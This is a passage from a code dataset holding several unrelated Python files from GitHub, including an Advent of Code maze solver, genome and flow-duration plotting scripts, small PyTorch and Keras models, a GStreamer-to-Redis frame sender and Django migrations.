kivy/kivy20.py","file_name":"kivy20.py","file_ext":"py","file_size_in_byte":12307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"38000384983","text":"# coding: utf8\n\nimport sys\nimport collections\nimport itertools\nimport operator\n\n\ndef new_pos_at_direction(pos, direction):\n    return tuple(itertools.starmap(operator.add, zip(pos, direction)))\n\n\ndef dist_to_center(center, pos):\n    # assuming the playground is nested squares (than arbitrary rectangles)\n    return max(abs(center[x] - pos[x]) for x in range(2))\n\n\ndef main():\n    grids = {\n        (i, j): grid\n        for i, row in enumerate(sys.stdin.read().splitlines())\n        for j, grid in enumerate(row)\n    }\n    directions = (\n        (-1, 0),\n        (0, -1),\n        (0, 1),\n        (1, 0),\n    )\n    labels = {}\n    for pos, grid in grids.items():\n        if grid != '.':\n            continue\n        for direction in directions:\n            new_pos = new_pos_at_direction(pos, direction)\n            if 'A' <= grids[new_pos] <= 'Z':\n                label = [grids[x] for x in (new_pos, new_pos_at_direction(new_pos, direction))]\n                if direction in ((-1, 0), (0, -1)):\n                    label = label[::-1]\n                labels.setdefault(''.join(label), []).append(pos)\n                break\n    center = tuple(max(pos[x] for pos in grids) // 2 for x in range(2))\n    portals = {}\n    for label, pos in labels.items():\n        if label in ('AA', 'ZZ'):\n            continue\n        if dist_to_center(center, pos[0]) > dist_to_center(center, pos[1]):\n            # ensure pos[0] is the inner one\n            pos = pos[::-1]\n        portals[pos[0]] = (pos[1], 1)\n        portals[pos[1]] = (pos[0], -1)\n    min_dist = collections.defaultdict(lambda: float('inf'))\n    pending = collections.deque([(labels['AA'][0], 0)])\n    min_dist[pending[0]] = 0\n    target_found = False\n    while pending and not target_found:\n        pos, level = pending.popleft()\n        check_positions = [\n            (new_pos_at_direction(pos, direction), level)\n            for direction in directions\n        ]\n        if pos in portals:\n            new_level = level + portals[pos][1]\n            if new_level >= 0:\n                check_positions.append((portals[pos][0], new_level))\n        for new_pos_level in check_positions:\n            if grids[new_pos_level[0]] == '.':\n                dist = min_dist[(pos, level)] + 1\n                if dist < min_dist[new_pos_level]:\n                    min_dist[new_pos_level] = dist\n                    pending.append(new_pos_level)\n                    if new_pos_level == (labels['ZZ'][0], 0):\n                        target_found = True\n    print(min_dist[(labels['ZZ'][0], 0)])\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"starrify/aoc-sltns","sub_path":"2019/day_20_part_2.py","file_name":"day_20_part_2.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"26911306350","text":"#install pycirclize\nimport matplotlib.pyplot as plt\nfrom pycirclize import Circos\nfrom pycirclize.parser import Gff\n\n# Load GFF file\ngff_file = (\"enterobacteria.gff\")\ngff = Gff(gff_file)\n\ncircos = Circos(sectors={gff.name: gff.range_size})\ncircos.text(\"Enterobacteria phage\\n(NC_000902)\", size=15)\n\nsector = circos.sectors[0]\ncds_track = sector.add_track((90, 100))\ncds_track.axis(fc=\"#EEEEEE\", ec=\"none\")\n# Plot forward CDS\ncds_track.genomic_features(\n    gff.extract_features(\"CDS\", target_strand=1),\n    plotstyle=\"arrow\",\n    r_lim=(95, 100),\n    fc=\"salmon\",\n)\n# Plot reverse CDS\ncds_track.genomic_features(\n    gff.extract_features(\"CDS\", target_strand=-1),\n    plotstyle=\"arrow\",\n    r_lim=(90, 95),\n    fc=\"skyblue\",\n)\n# Extract CDS product labels\npos_list, labels = [], []\nfor f in gff.extract_features(\"CDS\"):\n    start, end = int(str(f.location.end)), int(str(f.location.start))\n    pos = (start + end) / 2\n    label = f.qualifiers.get(\"product\", [\"\"])[0]\n    if label == \"\" or label.startswith(\"hypothetical\"):\n        continue\n    if len(label) > 20:\n        label = label[:20] + \"...\"\n    pos_list.append(pos)\n    labels.append(label)\n# Plot CDS product labels on outer position\ncds_track.xticks(\n    pos_list,\n    labels,\n    label_orientation=\"vertical\",\n    show_bottom_line=True,\n    label_size=6,\n    line_kws=dict(ec=\"grey\"),\n)\n# Plot xticks & intervals on inner position\ncds_track.xticks_by_interval(\n    interval=5000,\n    outer=False,\n    show_bottom_line=True,\n    label_formatter=lambda v: f\"{v/ 1000:.1f} Kb\",\n    label_orientation=\"vertical\",\n    line_kws=dict(ec=\"grey\"),\n)\n\nfig = circos.plotfig()\n\nplt.show()\n\n","repo_name":"Aria-Dolatabadian/Enterobacteria-phage-circos-plot","sub_path":"Code.py","file_name":"Code.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"24623006913","text":"# Your code here\n\n\ndef slowfun_too_slow(x, y):\n    v = math.pow(x, y)\n    v = math.factorial(v)\n    v //= (x + y)\n    v %= 982451653\n\n    return v\n\ndef slowfun(x, y):\n    \"\"\"\n    Rewrite slowfun_too_slow() in here so that the program produces the same\n    output, but completes quickly instead of taking ages to run.\n    \"\"\"\n    # Your code here\n\n\n\n# Do not modify below this line!\n\nfor i in range(50000):\n    x = random.randrange(2, 14)\n    y = random.randrange(3, 6)\n    print(f'{i}: {x},{y}: {slowfun(x, y)}')\n","repo_name":"bloominstituteoftechnology/cs-module-project-hash-tables","sub_path":"applications/lookup_table/lookup_table.py","file_name":"lookup_table.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"}
{"seq_id":"37539832676","text":"\"\"\"\n\nHaven't Done...\n\n\"\"\"\n\nimport os\nimport sys\nsys.path.insert(0, os.getcwd())\n\nimport torch\nfrom torchvision import transforms, datasets\n\nfrom comvex.vit import ViT\nfrom comvex.transunet import TransUNet\n\nEPOCH = 10\nBATCH_SIZE = 32\nLR_RATE = 1e-4\n\n\nif __name__ == \"__main__\":\n\n    vit = ViT(\n        image_size=28,\n        image_channel=1,\n        patch_size=4,\n        num_classes=6,\n        dim=64,\n        num_heads=8,\n        num_layers=12,\n    )\n\n    train_dataset = datasets.MNIST(\n        'datasets', \n        train=True, \n        download=True,\n        transform=transforms.Compose([\n            transforms.ToTensor(),\n            transforms.Normalize((0.1307,), (0.3081,)),\n        ])\n    )\n\n    test_dataset = datasets.MNIST(\n        'datasets', \n        train=False, \n        download=True,\n        transform=transforms.Compose([\n            transforms.ToTensor(),\n            transforms.Normalize((0.1307,), (0.3081,))\n        ])\n    )\n\n    train_loader = torch.utils.data.DataLoader(train_dataset, batch_size=BATCH_SIZE, shuffle=True)\n    test_loader = torch.utils.data.DataLoader(test_dataset, batch_size=BATCH_SIZE, shuffle=False)\n\n\n    for epoch in range(EPOCH):\n        for batch_id, (data, y) in enumerate(train_loader):\n            print(data.shape)\n            print(y.shape)\n\n            assert False","repo_name":"blakechi/ComVEX","sub_path":"examples/ViT/ViT_MNIST.py","file_name":"ViT_MNIST.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"19"}
{"seq_id":"43501854617","text":"import urllib\nimport os\nimport time\n\nfrom pushover import Client\n\nfrom pyquery import PyQuery as pq\n\n\ndef parse_pollen_count(domain):\n    pyquery_parser = pq(url=domain,\n                        opener=lambda url: urllib.urlopen(url).read())\n    return pyquery_parser(\".pollen-num\").html()\n\n\ndef get_daily_pollen():\n    return parse_pollen_count(\"http://www.atlantaallergy.com/\")\n\n\ndef get_pushover_client():\n    api_key = os.environ.get(\"ATL_ALLERGY_PUSHOVER_API\")\n    user_key = os.environ.get(\"PUSHOVER_USER_KEY\")\n    return Client(user_key, api_token=api_key)\n\n\ndef pushover_allergy_count(pushover_client, pollen_count):\n    title = \"Pollen Count for \" + time.strftime(\"%x\")\n    message = \"The pollen count for today is \" + pollen_count + \".\"\n\n    pushover_client.send_message(message, title=title)\n\n\nif __name__ == \"__main__\":\n    pushover_client = get_pushover_client()\n    pollen_count = get_daily_pollen()\n    if int(pollen_count) > 100:\n        pushover_allergy_count(pushover_client, pollen_count)\n","repo_name":"lunarca/atlallergypusher","sub_path":"atlallergy.py","file_name":"atlallergy.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"39780565112","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('changeset', '0015_auto_20160217_0511'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='userdetail',\n            name='no',\n            field=models.IntegerField(help_text='Number of Changesets', null=True, blank=True),\n        ),\n        migrations.AddField(\n            model_name='userdetail',\n            name='since',\n            field=models.DateTimeField(help_text='Mapper since', null=True, blank=True),\n        ),\n    ]\n","repo_name":"willemarcel/osmcha-django","sub_path":"osmchadjango/changeset/migrations/0016_auto_20160217_1004.py","file_name":"0016_auto_20160217_1004.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"19"}
{"seq_id":"72587811564","text":"import cv2\r\nimport numpy as np\r\nfrom model import model_b as de\r\ncap = cv2.VideoCapture(0)\r\ncond=True\r\nwhile cond:\r\n    success, img = cap.read()\r\n    de.detection(img)\r\n    cv2.imshow('Image', img)\r\n    k=cv2.waitKey(33)\r\n    if k==27:\r\n        cond=False","repo_name":"alphaHote/wolf_scent","sub_path":"v_2/wolf_scent_main.py","file_name":"wolf_scent_main.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"30858095942","text":"import pandas as pd\n\nfrom statistical_transformations.utils import get_common_reaches\nfrom statistical_transformations.fdc_utils import convert_parameter_based_to_discrete\n\nimport matplotlib.pyplot as plt\nimport xarray as xr\nimport numpy as np\n\nimport argparse\nimport os\n\n\ndef plot_all_reaches(input_ds: xr.Dataset, characteristics_df: pd.DataFrame,\n                            distribution: str, output_dir: str = \".\"):\n    \"\"\"\n    Plottign utility that will plot both the original discretized FDC and the values out of the parameter-based\n    FDC\n\n    Parameters\n    ----------\n    input_ds: xr.Dataset\n        Input dataset, which should contian the variables Obs_FDC and Obs_FDC_<distribution>\n    characteristics_df: pd.DataFrame\n        Dataframe indexed by reach id and containing at least upstream (ie., upstream area)\n    distribution: str\n        A valid distribution. The parameter-based FDC were calculated for lognorm and genextreme\n    output_dir: str\n        Where to put all the plots.\n\n    Returns\n    -------\n    None\n\n    \"\"\"\n    common_reaches = get_common_reaches(input_ds)\n    station_rchid = input_ds.station_rchid.values\n\n    exceedance_values = input_ds.percentile.values\n\n    for reach in common_reaches:\n        idx_station_rchid = np.where(station_rchid == reach)[0][0]\n\n        obs_fdc = input_ds.Obs_FDC[idx_station_rchid, :].values\n        parameters_fdc = input_ds.variables[\"Obs_FDC_{}\".format(distribution)][idx_station_rchid, :].values\n        parameter_obs_fdc = convert_parameter_based_to_discrete(distribution, parameters_fdc, exceedance_values)\n        upstream_area = characteristics_df.loc[reach, \"uparea\"]\n        # Rescale to m3/s\n        parameter_obs_fdc = upstream_area * 10. ** parameter_obs_fdc\n        print(parameter_obs_fdc, obs_fdc)\n        plt.figure(figsize=(12, 9))\n        ax = plt.subplot(111)\n        ax.spines[\"top\"].set_visible(False)\n        ax.spines[\"right\"].set_visible(False)\n\n        plt.semilogy(exceedance_values, obs_fdc, label=\"Discrete FDC\")\n        plt.semilogy(exceedance_values, parameter_obs_fdc, label=\"Discretized FDC from parameter-based distribution\")\n        plt.legend()\n        plt.title(\"Reach: {}\".format(reach))\n\n        plt.savefig(\"{}/comparison_discrete_parameter_FDC_{}.png\".format(output_dir, reach))\n        plt.close()\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"input_fdc_nc\")\n    parser.add_argument(\"properties_csv\")\n    parser.add_argument(\"distribution\", choices=[\"lognorm\", \"genextreme\"])\n    parser.add_argument(\"-output_dir\", help=\"Directory that will contain the results\", default=\".\")\n    return parser.parse_args()\n\n\ndef main():\n    args = parse_args()\n    input_fdc_nc = args.input_fdc_nc\n    properties_csv = args.properties_csv\n    output_dir = args.output_dir\n    distribution = args.distribution\n\n    if not os.path.isdir(output_dir):\n        os.mkdir(output_dir)\n\n    fdc_ds = xr.open_dataset(input_fdc_nc)\n    characteristics_df = pd.read_csv(properties_csv, index_col=\"rchid\")\n\n    plot_all_reaches(fdc_ds, characteristics_df, distribution, output_dir=output_dir)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"dlagrava/fdc_bias_correction","sub_path":"statistical_transformations/scripts/plot_discrete_vs_parameter.py","file_name":"plot_discrete_vs_parameter.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"18707971288","text":"import numpy as np\nimport gi, redis, cv2\nimport os\n\ngi.require_version('Gst', '1.0')\ngi.require_version('GstBase', '1.0')\ngi.require_version('GstApp', '1.0')\ngi.require_version('GstVideo', '1.0')\n\nfrom gi.repository import Gst, GObject, GstApp, GstVideo\n\nredis = redis.StrictRedis.from_url(os.environ['REDIS_URL'])\n\n\ndef redisSend(redis, key, value):\n    try:\n        print('sending to redis', redis.set(key, value))\n    except Exception as e:\n        print(str(e))\n\n\ndef on_message(bus: Gst.Bus, message: Gst.Message, loop: GObject.MainLoop):\n    mtype = message.type\n    \"\"\"\n        Gstreamer Message Types and how to parse\n        https://lazka.github.io/pgi-docs/Gst-1.0/flags.html#Gst.MessageType\n    \"\"\"\n\n    if mtype == Gst.MessageType.EOS:\n        print('restarting stream')\n    elif mtype == Gst.MessageType.STATE_CHANGED:\n        pass\n    elif mtype == Gst.MessageType.ERROR:\n        err, debug = message.parse_error()\n        print(err, debug)\n    elif mtype == Gst.MessageType.WARNING:\n        err, debug = message.parse_warning()\n        print(err, debug)\n\n    return True\n\n\ni = 0\n\n\ndef on_buffer(appsink: GstApp.AppSink, data) -> Gst.FlowReturn:\n    global i\n\n    sample = appsink.pull_sample()\n\n    if isinstance(sample, Gst.Sample):\n        buf = sample.get_buffer()\n\n        i += 1\n        if i == int(os.environ['SEND_FRAME_INTERVAL']):\n            buffer = buf.extract_dup(0, buf.get_size())\n            redisSend(redis, \"img\", buffer)\n            i = 0\n\n        return Gst.FlowReturn.OK\n\n    return Gst.FlowReturn.ERROR\n\n\nGObject.threads_init()\nGst.init(None)\n\npipelineString = \"v4l2src device={usb_device} \\\n              ! identity sync=true ! clockoverlay time-format=\\\"%e-%h-%G %r\\\" ! queue max-size-buffers=1 leaky=downstream ! jpegenc quality={jpeg_quality} \\\n              ! appsink name=sink emit-signals=true max-buffers=1 drop=true\".format(usb_device=os.environ['USB_DEVICE'], jpeg_quality=os.environ['JPEG_QUALITY'])\n\nGObject.threads_init()\nGst.init(None)\n\npipeline = Gst.parse_launch(pipelineString)\n\nappsink = pipeline.get_by_name(\"sink\")\nappsink.set_property(\"max-buffers\", 20)  # prevent the app to consume huge part of memory\nappsink.set_property('emit-signals', True)  # tell sink to emit signals\nappsink.set_property('sync', False)  # no sync to make decoding as fast as possible\n\nappsink.connect('new-sample', on_buffer, None)\n\nbus = pipeline.get_bus()\n\nbus.add_signal_watch()\n\npipeline.set_state(Gst.State.PLAYING)\n\nloop = GObject.MainLoop()\n\nbus.connect(\"message\", on_message, loop)\n\nprint(\"starting gstreamer loop\")\nprint(\"sending every\", os.environ['SEND_FRAME_INTERVAL'], \"frames\")\n\nloop.run()\n\nprint(\"end of gstreamer loop\")\n","repo_name":"willosonico/wg","sub_path":"client/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"34453654783","text":"# Import libraries\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import LabelEncoder, StandardScaler\nfrom sklearn.model_selection import train_test_split\n\n# Load the dataset\ndf = pd.read_csv(\"exams.csv\")\n\n# Encode the categorical features\nle1 = LabelEncoder()\nle2 = LabelEncoder()\nle3 = LabelEncoder()\nle4 = LabelEncoder()\nle5 = LabelEncoder()\n\ndf[\"gender\"] = le1.fit_transform(df[\"gender\"])\ndf[\"race/ethnicity\"] = le2.fit_transform(df[\"race/ethnicity\"])\ndf[\"parental level of education\"] = le3.fit_transform(df[\"parental level of education\"])\ndf[\"lunch\"] = le4.fit_transform(df[\"lunch\"])\ndf[\"test preparation course\"] = le5.fit_transform(df[\"test preparation course\"])\n\n# Split the dataset into features and targets\nX = df.drop([\"math score\", \"reading score\", \"writing score\"], axis=1).values\ny = df[[\"math score\", \"reading score\", \"writing score\"]].values\n\n# Split the dataset into train and test sets\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\n\n# Convert the data to tensors\nX_train = torch.from_numpy(X_train).float()\nX_test = torch.from_numpy(X_test).float()\ny_train = torch.from_numpy(y_train).float()\ny_test = torch.from_numpy(y_test).float()\n\n# Define the ANN model\nclass ANN(nn.Module):\n  def __init__(self):\n    super(ANN, self).__init__()\n    # Define the layers and activation functions\n    self.fc1 = nn.Linear(5, 20) # Input layer with 5 features and output layer with 10 neurons\n    self.relu1 = nn.ReLU() # ReLU activation function for the first hidden layer\n    self.fc2 = nn.Linear(20, 20) # Second hidden layer with 10 neurons and output layer with 10 neurons\n    self.relu2 = nn.ReLU() # ReLU activation function for the second hidden layer\n    self.fc3 = nn.Linear(20, 3) # Output layer with 10 neurons and output layer with 3 neurons (one for each score)\n\n  def forward(self, x):\n    # Define the forward pass\n    out = self.fc1(x) # Pass the input through the first layer\n    out = self.relu1(out) # Apply the ReLU activation function\n    out = self.fc2(out) # Pass the output of the first layer through the second layer\n    out = self.relu2(out) # Apply the ReLU activation function\n    out = self.fc3(out) # Pass the output of the second layer through the output layer\n    return out\n'''\n# Create an instance of the model\nmodel = ANN()\n# Define the loss function and optimizer\ncriterion = nn.MSELoss() # Mean squared error loss function for regression\noptimizer = optim.Adam(model.parameters(), lr=0.01) # Adam optimizer with learning rate of 0.01\n\n# Define the number of epochs for training\nepochs = 100\n\n# Train the model\nfor epoch in range(epochs):\n  # Zero the parameter gradients\n  optimizer.zero_grad()\n  # Forward pass\n  outputs = model(X_train)\n  # Calculate the loss\n  loss = criterion(outputs, y_train)\n  # Backward pass and optimize\n  loss.backward()\n  optimizer.step()\n  # Print the loss every 10 epochs\n  if (epoch+1) % 10 == 0:\n    print(f\"Epoch {epoch+1}, Loss: {loss.item():.4f}\")\n\n# Test the model on unseen data\nwith torch.no_grad():\n  predictions = model(X_test)\n  test_loss = criterion(predictions, y_test)\n  print(f\"Test Loss: {test_loss.item():.4f}\")\n\ntorch.save(model, 'model.pth')\ntorch.save(le1, 'encoder1.pkl')\ntorch.save(le2, 'encoder2.pkl')\ntorch.save(le3, 'encoder3.pkl')\ntorch.save(le4, 'encoder4.pkl')\ntorch.save(le5, 'encoder5.pkl')'''","repo_name":"AchintyaSNU/CIA2_MLT","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"30949437680","text":"from keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Conv2D, MaxPooling2D, Reshape, Flatten\n\ndef build_model(is_train):  \n    inputshape = (1200,)\n    imgshape   = (20, 20, 3)\n    kernel     = (3, 3)\n    pooling    = (2, 2)\n\n    model = Sequential()\n    # our input vector is flat, but Conv2D wants a 3d\n    # shaped tensor (width, height, depth), reshape it.\n    model.add( Reshape(imgshape, input_shape=inputshape) )\n    # add some convolutional filters\n    model.add( Conv2D(32, kernel_size=kernel, activation='relu') )\n    model.add( Conv2D(64, kernel, activation='relu') )\n    # downsample from the convolutional filters\n    model.add( MaxPooling2D(pool_size=pooling) )\n    # add some dropout to avoid overfitting\n    model.add( Dropout(0.25) )\n    # flatten results for the next dense layer\n    model.add( Flatten() )\n    # this layer is gonna learn how to classify planes\n    # according to the inputs that the convolutional \n    # and dropout layers activate.\n    model.add( Dense(128, activation='relu') )\n    # avoid overfitting\n    model.add( Dropout(0.5) )\n    # the output layer\n    model.add( Dense(2, activation='softmax') )\n\n    return model\n","repo_name":"evilsocket/ergo-planes-detector","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"19"}
{"seq_id":"7988883409","text":"import requests\n\n# Пример запроса на запуск получения изображений\nnumber = 5\nresponse = requests.post('http://localhost:5000/start/{}'.format(number), headers={'Authorization': 'admin'})\nif response.status_code == 200:\n    image_data = response.json()\n    # Обработка полученных данных\n    print(image_data)\nelse:\n    print('Ошибка при запросе:', response.text)\n\n# Пример запроса на получение текущей конфигурации\nresponse = requests.get('http://localhost:5000/get_config', headers={'Authorization': 'admin'})\nif response.status_code == 200:\n    config_data = response.json()\n    # Обработка полученных данных\n    print(config_data)\nelse:\n    print('Ошибка при запросе:', response.text)\n\n# Пример запроса на изменение конфигурации\nnew_config = {\n    'train_fit_bool': True,\n    'val_fit_bool': False,\n    'n_epochs': 10,\n    'output_images_bool': True\n}\nresponse = requests.post('http://localhost:5000/set_config', json=new_config, headers={'Authorization': 'admin'})\nif response.status_code == 200:\n    print('Конфигурация успешно изменена')\nelse:\n    print('Ошибка при запросе:', response.text)\n\n# Пример запроса на получение начальной фразы\nresponse = requests.get('http://localhost:5000/set_initial_phrase', headers={'Authorization': 'admin'})\nif response.status_code == 200:\n    initial_phrase = response.json()['initial_phrase']\n    # Обработка полученной фразы\n    print(initial_phrase)\nelse:\n    print('Ошибка при запросе:', response.text)\n","repo_name":"skips0skips/mnist_autoencoder","sub_path":"autoencoder_model/requests.py","file_name":"requests.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"6808396204","text":"\"\"\"Members can be updated\n\nRevision ID: 28174fb4a2c6\nRevises: 102ddd686fcf\nCreate Date: 2017-10-11 13:35:25.574287\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '28174fb4a2c6'\ndown_revision = '102ddd686fcf'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    with op.batch_alter_table('member', schema=None) as batch_op:\n        mrc = batch_op.add_column(sa.Column('most_recent', sa.Boolean(), nullable=False, default = 1))\n\n        batch_op.drop_constraint('uq_member_address', type_='unique')\n        batch_op.drop_constraint('uq_member_name', type_='unique')\n\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    with op.batch_alter_table('member', schema=None) as batch_op:\n        batch_op.create_unique_constraint('uq_member_name', ['name'])\n        batch_op.create_unique_constraint('uq_member_address', ['address'])\n        batch_op.drop_column('most_recent')\n\n    # ### end Alembic commands ###\n","repo_name":"BitcoinUnlimited/BitcoinUnlimitedVotingWebService","sub_path":"alembic/versions/28174fb4a2c6_members_can_be_updated.py","file_name":"28174fb4a2c6_members_can_be_updated.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"30124834855","text":"# coding=utf-8\n\"\"\" Module holding tools for ee.Collection \"\"\"\nimport ee\n\n\ndef enumerate(collection):\n    \"\"\" Create a list of lists in which each element of the list is:\n    [index, element]. For example, if you parse a FeatureCollection with 3\n    Features you'll get: [[0, feat0], [1, feat1], [2, feat2]]\n\n    :param collection: can be an ImageCollection or a FeatureCollection\n    :return: ee.Collection\n    \"\"\"\n    collist = collection.toList(collection.size())\n\n    # first element\n    ini = ee.Number(0)\n    first_image = ee.Image(collist.get(0))\n    first = ee.List([ini, first_image])\n\n    start = ee.List([first])\n    rest = collist.slice(1)\n\n    def over_list(im, s):\n        im = ee.Image(im)\n        s = ee.List(s)\n        last = ee.List(s.get(-1))\n        last_index = ee.Number(last.get(0))\n        index = last_index.add(1)\n        return s.add(ee.List([index, im]))\n\n    list = ee.List(rest.iterate(over_list, start))\n\n    return list\n\n\ndef joinByProperty(primary, secondary, propertyField, outer=False):\n    \"\"\" Join 2 collections by a given property field.\n    It assumes ids are unique so uses ee.Join.saveFirst.\n    It drops non matching features.\n\n    Example:\n\n    fc1 = ee.FeatureCollection([ee.Feature(geom=ee.Geometry.Point([0,0]),\n                                       opt_properties={'id': 1, 'prop_from_fc1': 'I am from fc1'})])\n    fc2 = ee.FeatureCollection([ee.Feature(geom=ee.Geometry.Point([0,0]),\n                                       opt_properties={'id': 1, 'prop_from_fc2': 'I am from fc2'})])\n    joined = joinById(fc1, fc2, 'id')\n    print(joined.getInfo())\n\n    \"\"\"\n    Filter = ee.Filter.equals(leftField=propertyField,\n                              rightField=propertyField)\n    join = ee.Join.saveFirst(matchKey='match', outer=outer)\n    joined = join.apply(primary, secondary, Filter)\n    def overJoined(feat):\n        properties = feat.propertyNames()\n        retain = properties.remove('match')\n        match = ee.Feature(feat.get('match'))\n        matchprop = match.toDictionary()\n        return feat.select(retain).setMulti(matchprop)\n\n    return joined.map(overJoined)\n","repo_name":"gee-community/gee_tools","sub_path":"geetools/tools/collection.py","file_name":"collection.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","stars":469,"dataset":"github-code","pt":"38"}
{"seq_id":"42283572826","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.contrib.gis.db.models.fields\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('taxonomy', '__first__'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='File',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('file', models.FileField(null=True, upload_to=b'uploads/files', blank=True)),\n                ('description', models.TextField(null=True, blank=True)),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Hydrology',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('length', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('name', models.CharField(max_length=50, null=True, blank=True)),\n                ('size', models.IntegerField(null=True, blank=True)),\n                ('map_sheet', models.CharField(max_length=50, null=True, blank=True)),\n                ('geom', django.contrib.gis.db.models.fields.LineStringField(srid=4326)),\n            ],\n            options={\n                'verbose_name': 'DRP Hydrology',\n                'verbose_name_plural': 'DRP Hydrology',\n            },\n        ),\n        migrations.CreateModel(\n            name='Image',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('image', models.ImageField(null=True, upload_to=b'uploads/images', blank=True)),\n                ('description', models.TextField(null=True, blank=True)),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Locality',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('paleolocality_number', models.IntegerField(null=True, blank=True)),\n                ('collection_code', models.CharField(blank=True, max_length=10, null=True, choices=[(b'DIK', b'DIK'), (b'ASB', b'ASB')])),\n                ('paleo_sublocality', models.CharField(max_length=50, null=True, blank=True)),\n                ('description_1', models.TextField(max_length=255, null=True, blank=True)),\n                ('description_2', models.TextField(max_length=255, null=True, blank=True)),\n                ('description_3', models.TextField(max_length=255, null=True, blank=True)),\n                ('stratigraphic_section', models.CharField(max_length=50, null=True, blank=True)),\n                ('upper_limit_in_section', models.IntegerField(null=True, blank=True)),\n                ('lower_limit_in_section', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('error_notes', models.CharField(max_length=255, null=True, blank=True)),\n                ('notes', models.CharField(max_length=254, null=True, blank=True)),\n                ('geom', django.contrib.gis.db.models.fields.PolygonField(srid=4326)),\n            ],\n            options={\n                'ordering': ('collection_code', 'paleolocality_number', 'paleo_sublocality'),\n                'verbose_name': 'DRP Locality',\n                'verbose_name_plural': 'DRP Localities',\n            },\n        ),\n        migrations.CreateModel(\n            name='Occurrence',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('barcode', models.IntegerField(null=True, verbose_name=b'Barcode', blank=True)),\n                ('date_last_modified', models.DateTimeField(auto_now=True, verbose_name=b'Date Last Modified')),\n                ('basis_of_record', models.CharField(blank=True, max_length=50, verbose_name=b'Basis of Record', choices=[(b'FossilSpecimen', b'Fossil'), (b'HumanObservation', b'Observation')])),\n                ('item_type', models.CharField(blank=True, max_length=255, verbose_name=b'Item Type', choices=[(b'Artifactual', b'Artifactual'), (b'Faunal', b'Faunal'), (b'Floral', b'Floral'), (b'Geological', b'Geological')])),\n                ('collection_code', models.CharField(blank=True, max_length=20, null=True, verbose_name=b'Collection Code', choices=[(b'DIK', b'DIK'), (b'ASB', b'ASB')])),\n                ('item_number', models.IntegerField(null=True, verbose_name=b'Item #', blank=True)),\n                ('item_part', models.CharField(max_length=10, null=True, verbose_name=b'Item Part', blank=True)),\n                ('catalog_number', models.CharField(max_length=255, null=True, verbose_name=b'Catalog #', blank=True)),\n                ('remarks', models.TextField(max_length=2500, null=True, verbose_name=b'Remarks', blank=True)),\n                ('item_scientific_name', models.CharField(max_length=255, null=True, verbose_name=b'Sci Name', blank=True)),\n                ('item_description', models.CharField(max_length=255, null=True, verbose_name=b'Description', blank=True)),\n                ('georeference_remarks', models.CharField(max_length=50, null=True, blank=True)),\n                ('collecting_method', models.CharField(max_length=50, 